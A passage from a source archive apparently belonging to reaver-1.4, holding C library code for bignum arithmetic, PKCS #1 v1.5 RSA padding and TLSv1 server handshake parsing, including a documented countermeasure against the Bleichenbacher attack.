b (mod c) * @a: Bignum from bignum_init() * @b: Bignum from bignum_init() * @c: Bignum from bignum_init(); modulus * @d: Bignum from bignum_init(); used to store the result of a * b (mod c) * Returns: 0 on success, -1 on failure */ int bignum_mulmod(const struct bignum *a, const struct bignum *b, const struct bignum *c, struct bignum *d) { if (mp_mulmod((mp_int *) a, (mp_int *) b, (mp_int *) c, (mp_int *) d) != MP_OKAY) { wpa_printf(MSG_DEBUG, "BIGNUM: %s failed", __func__); return -1; } return 0; } /** * bignum_exptmod - Modular exponentiation: d = a^b (mod c) * @a: Bignum from bignum_init(); base * @b: Bignum from bignum_init(); exponent * @c: Bignum from bignum_init(); modulus * @d: Bignum from bignum_init(); used to store the result of a^b (mod c) * Returns: 0 on success, -1 on failure */ int bignum_exptmod(const struct bignum *a, const struct bignum *b, const struct bignum *c, struct bignum *d) { if (mp_exptmod((mp_int *) a, (mp_int *) b, (mp_int *) c, (mp_int *) d) != MP_OKAY) { wpa_printf(MSG_DEBUG, "BIGNUM: %s failed", __func__); return -1; } return 0; } reaver-1.4/src/tls/pkcs1.c0000755000175000017500000001057311705505260014764 0ustar reaverreaver/* * PKCS #1 (RSA Encryption) * Copyright (c) 2006-2009, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include "common.h" #include "rsa.h" #include "pkcs1.h" static int pkcs1_generate_encryption_block(u8 block_type, size_t modlen, const u8 *in, size_t inlen, u8 *out, size_t *outlen) { size_t ps_len; u8 *pos; /* * PKCS #1 v1.5, 8.1: * * EB = 00 || BT || PS || 00 || D * BT = 00 or 01 for private-key operation; 02 for public-key operation * PS = k-3-||D||; at least eight octets * (BT=0: PS=0x00, BT=1: PS=0xff, BT=2: PS=pseudorandom non-zero) * k = length of modulus in octets (modlen) */ if (modlen < 12 || modlen > *outlen || inlen > modlen - 11) { wpa_printf(MSG_DEBUG, "PKCS #1: %s - Invalid buffer " "lengths (modlen=%lu outlen=%lu inlen=%lu)", __func__, (unsigned long) modlen, (unsigned long) *outlen, (unsigned long) inlen); return -1; } pos = out; *pos++ = 0x00; *pos++ = block_type; /* BT */ ps_len = modlen - inlen - 3; switch (block_type) { case 0: os_memset(pos, 0x00, ps_len); pos += ps_len; break; case 1: os_memset(pos, 0xff, ps_len); pos += ps_len; break; case 2: if (os_get_random(pos, ps_len) < 0) { wpa_printf(MSG_DEBUG, "PKCS #1: %s - Failed to get " "random data for PS", __func__); return -1; } while (ps_len--) { if (*pos == 0x00) *pos = 0x01; pos++; } break; default: wpa_printf(MSG_DEBUG, "PKCS #1: %s - Unsupported block type " "%d", __func__, block_type); return -1; } *pos++ = 0x00; os_memcpy(pos, in, inlen); /* D */ return 0; } int pkcs1_encrypt(int block_type, struct crypto_rsa_key *key, int use_private, const u8 *in, size_t inlen, u8 *out, size_t *outlen) { size_t modlen; modlen = crypto_rsa_get_modulus_len(key); if (pkcs1_generate_encryption_block(block_type, modlen, in, inlen, out, outlen) < 0) return -1; return crypto_rsa_exptmod(out, modlen, out, outlen, key, use_private); } int pkcs1_v15_private_key_decrypt(struct crypto_rsa_key *key, const u8 *in, size_t inlen, u8 *out, size_t *outlen) { int res; u8 *pos, *end; res = crypto_rsa_exptmod(in, inlen, out, outlen, key, 1); if (res) return res; if (*outlen < 2 || out[0] != 0 || out[1] != 2) return -1; /* Skip PS (pseudorandom non-zero octets) */ pos = out + 2; end = out + *outlen; while (*pos && pos < end) pos++; if (pos == end) return -1; pos++; *outlen -= pos - out; /* Strip PKCS #1 header */ os_memmove(out, pos, *outlen); return 0; } int pkcs1_decrypt_public_key(struct crypto_rsa_key *key, const u8 *crypt, size_t crypt_len, u8 *plain, size_t *plain_len) { size_t len; u8 *pos; len = *plain_len; if (crypto_rsa_exptmod(crypt, crypt_len, plain, &len, key, 0) < 0) return -1; /* * PKCS #1 v1.5, 8.1: * * EB = 00 || BT || PS || 00 || D * BT = 00 or 01 * PS = k-3-||D|| times (00 if BT=00) or (FF if BT=01) * k = length of modulus in octets */ if (len < 3 + 8 + 16 /* min hash len */ || plain[0] != 0x00 || (plain[1] != 0x00 && plain[1] != 0x01)) { wpa_printf(MSG_INFO, "LibTomCrypt: Invalid signature EB " "structure"); return -1; } pos = plain + 3; if (plain[1] == 0x00) { /* BT = 00 */ if (plain[2] != 0x00) { wpa_printf(MSG_INFO, "LibTomCrypt: Invalid signature " "PS (BT=00)"); return -1; } while (pos + 1 < plain + len && *pos == 0x00 && pos[1] == 0x00) pos++; } else { /* BT = 01 */ if (plain[2] != 0xff) { wpa_printf(MSG_INFO, "LibTomCrypt: Invalid signature " "PS (BT=01)"); return -1; } while (pos < plain + len && *pos == 0xff) pos++; } if (pos - plain - 2 < 8) { /* PKCS #1 v1.5, 8.1: At least eight octets long PS */ wpa_printf(MSG_INFO, "LibTomCrypt: Too short signature " "padding"); return -1; } if (pos + 16 /* min hash len */ >= plain + len || *pos != 0x00) { wpa_printf(MSG_INFO, "LibTomCrypt: Invalid signature EB " "structure (2)"); return -1; } pos++; len -= pos - plain; /* Strip PKCS #1 header */ os_memmove(plain, pos, len); *plain_len = len; return 0; } reaver-1.4/src/tls/tlsv1_server_read.c0000755000175000017500000007125711705505260017403 0ustar reaverreaver/* * TLSv1 server - read handshake message * Copyright (c) 2006-2007, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include "common.h" #include "crypto/md5.h" #include "crypto/sha1.h" #include "crypto/tls.h" #include "x509v3.h" #include "tlsv1_common.h" #include "tlsv1_record.h" #include "tlsv1_server.h" #include "tlsv1_server_i.h" static int tls_process_client_key_exchange(struct tlsv1_server *conn, u8 ct, const u8 *in_data, size_t *in_len); static int tls_process_change_cipher_spec(struct tlsv1_server *conn, u8 ct, const u8 *in_data, size_t *in_len); static int tls_process_client_hello(struct tlsv1_server *conn, u8 ct, const u8 *in_data, size_t *in_len) { const u8 *pos, *end, *c; size_t left, len, i, j; u16 cipher_suite; u16 num_suites; int compr_null_found; u16 ext_type, ext_len; if (ct != TLS_CONTENT_TYPE_HANDSHAKE) { wpa_printf(MSG_DEBUG, "TLSv1: Expected Handshake; " "received content type 0x%x", ct); tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_UNEXPECTED_MESSAGE); return -1; } pos = in_data; left = *in_len; if (left < 4) goto decode_error; /* HandshakeType msg_type */ if (*pos != TLS_HANDSHAKE_TYPE_CLIENT_HELLO) { wpa_printf(MSG_DEBUG, "TLSv1: Received unexpected handshake " "message %d (expected ClientHello)", *pos); tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_UNEXPECTED_MESSAGE); return -1; } wpa_printf(MSG_DEBUG, "TLSv1: Received ClientHello"); pos++; /* uint24 length */ len = WPA_GET_BE24(pos); pos += 3; left -= 4; if (len > left) goto decode_error; /* body - ClientHello */ wpa_hexdump(MSG_MSGDUMP, "TLSv1: ClientHello", pos, len); end = pos + len; /* ProtocolVersion client_version */ if (end - pos < 2) goto decode_error; conn->client_version = WPA_GET_BE16(pos); wpa_printf(MSG_DEBUG, "TLSv1: Client version %d.%d", conn->client_version >> 8, conn->client_version & 0xff); if (conn->client_version < TLS_VERSION) { wpa_printf(MSG_DEBUG, "TLSv1: Unexpected protocol version in " "ClientHello"); tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_PROTOCOL_VERSION); return -1; } pos += 2; /* Random random */ if (end - pos < TLS_RANDOM_LEN) goto decode_error; os_memcpy(conn->client_random, pos, TLS_RANDOM_LEN); pos += TLS_RANDOM_LEN; wpa_hexdump(MSG_MSGDUMP, "TLSv1: client_random", conn->client_random, TLS_RANDOM_LEN); /* SessionID session_id */ if (end - pos < 1) goto decode_error; if (end - pos < 1 + *pos || *pos > TLS_SESSION_ID_MAX_LEN) goto decode_error; wpa_hexdump(MSG_MSGDUMP, "TLSv1: client session_id", pos + 1, *pos); pos += 1 + *pos; /* TODO: add support for session resumption */ /* CipherSuite cipher_suites<2..2^16-1> */ if (end - pos < 2) goto decode_error; num_suites = WPA_GET_BE16(pos); pos += 2; if (end - pos < num_suites) goto decode_error; wpa_hexdump(MSG_MSGDUMP, "TLSv1: client cipher suites", pos, num_suites); if (num_suites & 1) goto decode_error; num_suites /= 2; cipher_suite = 0; for (i = 0; !cipher_suite && i < conn->num_cipher_suites; i++) { c = pos; for (j = 0; j < num_suites; j++) { u16 tmp = WPA_GET_BE16(c); c += 2; if (!cipher_suite && tmp == conn->cipher_suites[i]) { cipher_suite = tmp; break; } } } pos += num_suites * 2; if (!cipher_suite) { wpa_printf(MSG_INFO, "TLSv1: No supported cipher suite " "available"); tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_ILLEGAL_PARAMETER); return -1; } if (tlsv1_record_set_cipher_suite(&conn->rl, cipher_suite) < 0) { wpa_printf(MSG_DEBUG, "TLSv1: Failed to set CipherSuite for " "record layer"); tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_INTERNAL_ERROR); return -1; } conn->cipher_suite = cipher_suite; /* CompressionMethod compression_methods<1..2^8-1> */ if (end - pos < 1) goto decode_error; num_suites = *pos++; if (end - pos < num_suites) goto decode_error; wpa_hexdump(MSG_MSGDUMP, "TLSv1: client compression_methods", pos, num_suites); compr_null_found = 0; for (i = 0; i < num_suites; i++) { if (*pos++ == TLS_COMPRESSION_NULL) compr_null_found = 1; } if (!compr_null_found) { wpa_printf(MSG_INFO, "TLSv1: Client does not accept NULL " "compression"); tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_ILLEGAL_PARAMETER); return -1; } if (end - pos == 1) { wpa_printf(MSG_DEBUG, "TLSv1: Unexpected extra octet in the " "end of ClientHello: 0x%02x", *pos); goto decode_error; } if (end - pos >= 2) { /* Extension client_hello_extension_list<0..2^16-1> */ ext_len = WPA_GET_BE16(pos); pos += 2; wpa_printf(MSG_DEBUG, "TLSv1: %u bytes of ClientHello " "extensions", ext_len); if (end - pos != ext_len) { wpa_printf(MSG_DEBUG, "TLSv1: Invalid ClientHello " "extension list length %u (expected %u)", ext_len, (unsigned int) (end - pos)); goto decode_error; } /* * struct { * ExtensionType extension_type (0..65535) * opaque extension_data<0..2^16-1> * } Extension; */ while (pos < end) { if (end - pos < 2) { wpa_printf(MSG_DEBUG, "TLSv1: Invalid " "extension_type field"); goto decode_error; } ext_type = WPA_GET_BE16(pos); pos += 2; if (end - pos < 2) { wpa_printf(MSG_DEBUG, "TLSv1: Invalid " "extension_data length field"); goto decode_error; } ext_len = WPA_GET_BE16(pos); pos += 2; if (end - pos < ext_len) { wpa_printf(MSG_DEBUG, "TLSv1: Invalid " "extension_data field"); goto decode_error; } wpa_printf(MSG_DEBUG, "TLSv1: ClientHello Extension " "type %u", ext_type); wpa_hexdump(MSG_MSGDUMP, "TLSv1: ClientHello " "Extension data", pos, ext_len); if (ext_type == TLS_EXT_SESSION_TICKET) { os_free(conn->session_ticket); conn->session_ticket = os_malloc(ext_len); if (conn->session_ticket) { os_memcpy(conn->session_ticket, pos, ext_len); conn->session_ticket_len = ext_len; } } pos += ext_len; } } *in_len = end - in_data; wpa_printf(MSG_DEBUG, "TLSv1: ClientHello OK - proceed to " "ServerHello"); conn->state = SERVER_HELLO; return 0; decode_error: wpa_printf(MSG_DEBUG, "TLSv1: Failed to decode ClientHello"); tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_DECODE_ERROR); return -1; } static int tls_process_certificate(struct tlsv1_server *conn, u8 ct, const u8 *in_data, size_t *in_len) { const u8 *pos, *end; size_t left, len, list_len, cert_len, idx; u8 type; struct x509_certificate *chain = NULL, *last = NULL, *cert; int reason; if (ct != TLS_CONTENT_TYPE_HANDSHAKE) { wpa_printf(MSG_DEBUG, "TLSv1: Expected Handshake; " "received content type 0x%x", ct); tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_UNEXPECTED_MESSAGE); return -1; } pos = in_data; left = *in_len; if (left < 4) { wpa_printf(MSG_DEBUG, "TLSv1: Too short Certificate message " "(len=%lu)", (unsigned long) left); tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_DECODE_ERROR); return -1; } type = *pos++; len = WPA_GET_BE24(pos); pos += 3; left -= 4; if (len > left) { wpa_printf(MSG_DEBUG, "TLSv1: Unexpected Certificate message " "length (len=%lu != left=%lu)", (unsigned long) len, (unsigned long) left); tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_DECODE_ERROR); return -1; } if (type == TLS_HANDSHAKE_TYPE_CLIENT_KEY_EXCHANGE) { if (conn->verify_peer) { wpa_printf(MSG_DEBUG, "TLSv1: Client did not include " "Certificate"); tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_UNEXPECTED_MESSAGE); return -1; } return tls_process_client_key_exchange(conn, ct, in_data, in_len); } if (type != TLS_HANDSHAKE_TYPE_CERTIFICATE) { wpa_printf(MSG_DEBUG, "TLSv1: Received unexpected handshake " "message %d (expected Certificate/" "ClientKeyExchange)", type); tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_UNEXPECTED_MESSAGE); return -1; } wpa_printf(MSG_DEBUG, "TLSv1: Received Certificate (certificate_list len %lu)", (unsigned long) len); /* * opaque ASN.1Cert<2^24-1>; * * struct { * ASN.1Cert certificate_list<1..2^24-1>; * } Certificate; */ end = pos + len; if (end - pos < 3) { wpa_printf(MSG_DEBUG, "TLSv1: Too short Certificate " "(left=%lu)", (unsigned long) left); tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_DECODE_ERROR); return -1; } list_len = WPA_GET_BE24(pos); pos += 3; if ((size_t) (end - pos) != list_len) { wpa_printf(MSG_DEBUG, "TLSv1: Unexpected certificate_list " "length (len=%lu left=%lu)", (unsigned long) list_len, (unsigned long) (end - pos)); tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_DECODE_ERROR); return -1; } idx = 0; while (pos < end) { if (end - pos < 3) { wpa_printf(MSG_DEBUG, "TLSv1: Failed to parse " "certificate_list"); tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_DECODE_ERROR); x509_certificate_chain_free(chain); return -1; } cert_len = WPA_GET_BE24(pos); pos += 3; if ((size_t) (end - pos) < cert_len) { wpa_printf(MSG_DEBUG, "TLSv1: Unexpected certificate " "length (len=%lu left=%lu)", (unsigned long) cert_len, (unsigned long) (end - pos)); tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_DECODE_ERROR); x509_certificate_chain_free(chain); return -1; } wpa_printf(MSG_DEBUG, "TLSv1: Certificate %lu (len %lu)", (unsigned long) idx, (unsigned long) cert_len); if (idx == 0) { crypto_public_key_free(conn->client_rsa_key); if (tls_parse_cert(pos, cert_len, &conn->client_rsa_key)) { wpa_printf(MSG_DEBUG, "TLSv1: Failed to parse " "the certificate"); tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_BAD_CERTIFICATE); x509_certificate_chain_free(chain); return -1; } } cert = x509_certificate_parse(pos, cert_len); if (cert == NULL) { wpa_printf(MSG_DEBUG, "TLSv1: Failed to parse " "the certificate"); tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_BAD_CERTIFICATE); x509_certificate_chain_free(chain); return -1; } if (last == NULL) chain = cert; else last->next = cert; last = cert; idx++; pos += cert_len; } if (x509_certificate_chain_validate(conn->cred->trusted_certs, chain, &reason) < 0) { int tls_reason; wpa_printf(MSG_DEBUG, "TLSv1: Server certificate chain " "validation failed (reason=%d)", reason); switch (reason) { case X509_VALIDATE_BAD_CERTIFICATE: tls_reason = TLS_ALERT_BAD_CERTIFICATE; break; case X509_VALIDATE_UNSUPPORTED_CERTIFICATE: tls_reason = TLS_ALERT_UNSUPPORTED_CERTIFICATE; break; case X509_VALIDATE_CERTIFICATE_REVOKED: tls_reason = TLS_ALERT_CERTIFICATE_REVOKED; break; case X509_VALIDATE_CERTIFICATE_EXPIRED: tls_reason = TLS_ALERT_CERTIFICATE_EXPIRED; break; case X509_VALIDATE_CERTIFICATE_UNKNOWN: tls_reason = TLS_ALERT_CERTIFICATE_UNKNOWN; break; case X509_VALIDATE_UNKNOWN_CA: tls_reason = TLS_ALERT_UNKNOWN_CA; break; default: tls_reason = TLS_ALERT_BAD_CERTIFICATE; break; } tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, tls_reason); x509_certificate_chain_free(chain); return -1; } x509_certificate_chain_free(chain); *in_len = end - in_data; conn->state = CLIENT_KEY_EXCHANGE; return 0; } static int tls_process_client_key_exchange_rsa( struct tlsv1_server *conn, const u8 *pos, const u8 *end) { u8 *out; size_t outlen, outbuflen; u16 encr_len; int res; int use_random = 0; if (end - pos < 2) { tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_DECODE_ERROR); return -1; } encr_len = WPA_GET_BE16(pos); pos += 2; outbuflen = outlen = end - pos; out = os_malloc(outlen >= TLS_PRE_MASTER_SECRET_LEN ? outlen : TLS_PRE_MASTER_SECRET_LEN); if (out == NULL) { tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_INTERNAL_ERROR); return -1; } /* * struct { * ProtocolVersion client_version; * opaque random[46]; * } PreMasterSecret; * * struct { * public-key-encrypted PreMasterSecret pre_master_secret; * } EncryptedPreMasterSecret; */ /* * Note: To avoid Bleichenbacher attack, we do not report decryption or * parsing errors from EncryptedPreMasterSecret processing to the * client. Instead, a random pre-master secret is used to force the * handshake to fail. */ if (crypto_private_key_decrypt_pkcs1_v15(conn->cred->key, pos, end - pos, out, &outlen) < 0) { wpa_printf(MSG_DEBUG, "TLSv1: Failed to decrypt " "PreMasterSecret (encr_len=%d outlen=%lu)", (int) (end - pos), (unsigned long) outlen); use_random = 1; } if (outlen != TLS_PRE_MASTER_SECRET_LEN) { wpa_printf(MSG_DEBUG, "TLSv1: Unexpected PreMasterSecret " "length %lu", (unsigned long) outlen); use_random = 1; } if (WPA_GET_BE16(out) != conn->client_version) { wpa_printf(MSG_DEBUG, "TLSv1: Client version in " "ClientKeyExchange does not match with version in " "ClientHello"); use_random = 1; } if (use_random) { wpa_printf(MSG_DEBUG, "TLSv1: Using random premaster secret " "to avoid revealing information about private key"); outlen = TLS_PRE_MASTER_SECRET_LEN; if (os_get_random(out, outlen)) { wpa_printf(MSG_DEBUG, "TLSv1: Failed to get random " "data"); tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_INTERNAL_ERROR); os_free(out); return -1; } } res = tlsv1_server_derive_keys(conn, out, outlen); /* Clear the pre-master secret since it is not needed anymore */ os_memset(out, 0, outbuflen); os_free(out); if (res) { wpa_printf(MSG_DEBUG, "TLSv1: Failed to derive keys"); tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_INTERNAL_ERROR); return -1; } return 0; } static int tls_process_client_key_exchange_dh_anon( struct tlsv1_server *conn, const u8 *pos, const u8 *end) { const u8 *dh_yc; u16 dh_yc_len; u8 *shared; size_t shared_len; int res; /* * struct { * select (PublicValueEncoding) { * case implicit: struct { }; * case explicit: opaque dh_Yc<1..2^16-1>; * } dh_public; * } ClientDiffieHellmanPublic; */ wpa_hexdump(MSG_MSGDUMP, "TLSv1: ClientDiffieHellmanPublic", pos, end - pos); if (end == pos) { wpa_printf(MSG_DEBUG, "TLSv1: Implicit public value encoding " "not supported"); tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_INTERNAL_ERROR); return -1; } if (end - pos < 3) { wpa_printf(MSG_DEBUG, "TLSv1: Invalid client public value " "length"); tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_DECODE_ERROR); return -1; } dh_yc_len = WPA_GET_BE16(pos); dh_yc = pos + 2; if (dh_yc + dh_yc_len > end) { wpa_printf(MSG_DEBUG, "TLSv1: Client public value overflow " "(length %d)", dh_yc_len); tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_DECODE_ERROR); return -1; } wpa_hexdump(MSG_DEBUG, "TLSv1: DH Yc (client's public value)", dh_yc, dh_yc_len); if (conn->cred == NULL || conn->cred->dh_p == NULL || conn->dh_secret == NULL) { wpa_printf(MSG_DEBUG, "TLSv1: No DH parameters available"); tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_INTERNAL_ERROR); return -1; } shared_len = conn->cred->dh_p_len; shared = os_malloc(shared_len); if (shared == NULL) { wpa_printf(MSG_DEBUG, "TLSv1: Could not allocate memory for " "DH"); tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_INTERNAL_ERROR); return -1; } /* shared = Yc^secret mod p */ if (crypto_mod_exp(dh_yc, dh_yc_len, conn->dh_secret, conn->dh_secret_len, conn->cred->dh_p, conn->cred->dh_p_len, shared, &shared_len)) { os_free(shared); tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_INTERNAL_ERROR); return -1; } wpa_hexdump_key(MSG_DEBUG, "TLSv1: Shared secret from DH key exchange", shared, shared_len); os_memset(conn->dh_secret, 0, conn->dh_secret_len); os_free(conn->dh_secret); conn->dh_secret = NULL; res = tlsv1_server_derive_keys(conn, shared, shared_len); /* Clear the pre-master secret since it is not needed anymore */ os_memset(shared, 0, shared_len); os_free(shared); if (res) { wpa_printf(MSG_DEBUG, "TLSv1: Failed to derive keys"); tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_INTERNAL_ERROR); return -1; } return 0; } static int tls_process_client_key_exchange(struct tlsv1_server *conn, u8 ct, const u8 *in_data, size_t *in_len) { const u8 *pos, *end; size_t left, len; u8 type; tls_key_exchange keyx; const struct tls_cipher_suite *suite; if (ct != TLS_CONTENT_TYPE_HANDSHAKE) { wpa_printf(MSG_DEBUG, "TLSv1: Expected Handshake; " "received content type 0x%x", ct); tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_UNEXPECTED_MESSAGE); return -1; } pos = in_data; left = *in_len; if (left < 4) { wpa_printf(MSG_DEBUG, "TLSv1: Too short ClientKeyExchange " "(Left=%lu)", (unsigned long) left); tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_DECODE_ERROR); return -1; } type = *pos++; len = WPA_GET_BE24(pos); pos += 3; left -= 4; if (len > left) { wpa_printf(MSG_DEBUG, "TLSv1: Mismatch in ClientKeyExchange " "length (len=%lu != left=%lu)", (unsigned long) len, (unsigned long) left); tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_DECODE_ERROR); return -1; } end = pos + len; if (type != TLS_HANDSHAKE_TYPE_CLIENT_KEY_EXCHANGE) { wpa_printf(MSG_DEBUG, "TLSv1: Received unexpected handshake " "message %d (expected ClientKeyExchange)", type); tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_UNEXPECTED_MESSAGE); return -1; } wpa_printf(MSG_DEBUG, "TLSv1: Received ClientKeyExchange"); wpa_hexdump(MSG_DEBUG, "TLSv1: ClientKeyExchange", pos, len); suite = tls_get_cipher_suite(conn->rl.cipher_suite); if (suite == NULL) keyx = TLS_KEY_X_NULL; else keyx = suite->key_exchange; if (keyx == TLS_KEY_X_DH_anon && tls_process_client_key_exchange_dh_anon(conn, pos, end) < 0) return -1; if (keyx != TLS_KEY_X_DH_anon && tls_process_client_key_exchange_rsa(conn, pos, end) < 0) return -1; *in_len = end - in_data; conn->state = CERTIFICATE_VERIFY; return 0; } static int tls_process_certificate_verify(struct tlsv1_server *conn, u8 ct, const u8 *in_data, size_t *in_len) { const u8 *pos, *end; size_t left, len; u8 type; size_t hlen, buflen; u8 hash[MD5_MAC_LEN + SHA1_MAC_LEN], *hpos, *buf; enum { SIGN_ALG_RSA, SIGN_ALG_DSA } alg = SIGN_ALG_RSA; u16 slen; if (ct == TLS_CONTENT_TYPE_CHANGE_CIPHER_SPEC) { if (conn->verify_peer) { wpa_printf(MSG_DEBUG, "TLSv1: Client did not include " "CertificateVerify"); tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_UNEXPECTED_MESSAGE); return -1; } return tls_process_change_cipher_spec(conn, ct, in_data, in_len); } if (ct != TLS_CONTENT_TYPE_HANDSHAKE) { wpa_printf(MSG_DEBUG, "TLSv1: Expected Handshake; " "received content type 0x%x", ct); tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_UNEXPECTED_MESSAGE); return -1; } pos = in_data; left = *in_len; if (left < 4) { wpa_printf(MSG_DEBUG, "TLSv1: Too short CertificateVerify " "message (len=%lu)", (unsigned long) left); tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_DECODE_ERROR); return -1; } type = *pos++; len = WPA_GET_BE24(pos); pos += 3; left -= 4; if (len > left) { wpa_printf(MSG_DEBUG, "TLSv1: Unexpected CertificateVerify " "message length (len=%lu != left=%lu)", (unsigned long) len, (unsigned long) left); tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_DECODE_ERROR); return -1; } end = pos + len; if (type != TLS_HANDSHAKE_TYPE_CERTIFICATE_VERIFY) { wpa_printf(MSG_DEBUG, "TLSv1: Received unexpected handshake " "message %d (expected CertificateVerify)", type); tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_UNEXPECTED_MESSAGE); return -1; } wpa_printf(MSG_DEBUG, "TLSv1: Received CertificateVerify"); /* * struct { * Signature signature; * } CertificateVerify; */ hpos = hash; if (alg == SIGN_ALG_RSA) { hlen = MD5_MAC_LEN; if (conn->verify.md5_cert == NULL || crypto_hash_finish(conn->verify.md5_cert, hpos, &hlen) < 0) { tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_INTERNAL_ERROR); conn->verify.md5_cert = NULL; crypto_hash_finish(conn->verify.sha1_cert, NULL, NULL); conn->verify.sha1_cert = NULL; return -1; } hpos += MD5_MAC_LEN; } else crypto_hash_finish(conn->verify.md5_cert, NULL, NULL); conn->verify.md5_cert = NULL; hlen = SHA1_MAC_LEN; if (conn->verify.sha1_cert == NULL || crypto_hash_finish(conn->verify.sha1_cert, hpos, &hlen) < 0) { conn->verify.sha1_cert = NULL; tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_INTERNAL_ERROR); return -1; } conn->verify.sha1_cert = NULL; if (alg == SIGN_ALG_RSA) hlen += MD5_MAC_LEN; wpa_hexdump(MSG_MSGDUMP, "TLSv1: CertificateVerify hash", hash, hlen); if (end - pos < 2) { tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_DECODE_ERROR); return -1; } slen = WPA_GET_BE16(pos); pos += 2; if (end - pos < slen) { tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_DECODE_ERROR); return -1; } wpa_hexdump(MSG_MSGDUMP, "TLSv1: Signature", pos, end - pos); if (conn->client_rsa_key == NULL) { wpa_printf(MSG_DEBUG, "TLSv1: No client public key to verify " "signature"); tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_INTERNAL_ERROR); return -1; } buflen = end - pos; buf = os_malloc(end - pos); if (crypto_public_key_decrypt_pkcs1(conn->client_rsa_key, pos, end - pos, buf, &buflen) < 0) { wpa_printf(MSG_DEBUG, "TLSv1: Failed to decrypt signature"); os_free(buf); tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_DECRYPT_ERROR); return -1; } wpa_hexdump_key(MSG_MSGDUMP, "TLSv1: Decrypted Signature", buf, buflen); if (buflen != hlen || os_memcmp(buf, hash, buflen) != 0) { wpa_printf(MSG_DEBUG, "TLSv1: Invalid Signature in " "CertificateVerify - did not match with calculated " "hash"); os_free(buf); tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_DECRYPT_ERROR); return -1; } os_free(buf); *in_len = end - in_data; conn->state = CHANGE_CIPHER_SPEC; return 0; } static int tls_process_change_cipher_spec(struct tlsv1_server *conn, u8 ct, const u8 *in_data, size_t *in_len) { const u8 *pos; size_t left; if (ct != TLS_CONTENT_TYPE_CHANGE_CIPHER_SPEC) { wpa_printf(MSG_DEBUG, "TLSv1: Expected ChangeCipherSpec; " "received content type 0x%x", ct); tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_UNEXPECTED_MESSAGE); return -1; } pos = in_data; left = *in_len; if (left < 1) { wpa_printf(MSG_DEBUG, "TLSv1: Too short ChangeCipherSpec"); tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_DECODE_ERROR); return -1; } if (*pos != TLS_CHANGE_CIPHER_SPEC) { wpa_printf(MSG_DEBUG, "TLSv1: Expected ChangeCipherSpec; " "received data 0x%x", *pos); tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_UNEXPECTED_MESSAGE); return -1; } wpa_printf(MSG_DEBUG, "TLSv1: Received ChangeCipherSpec"); if 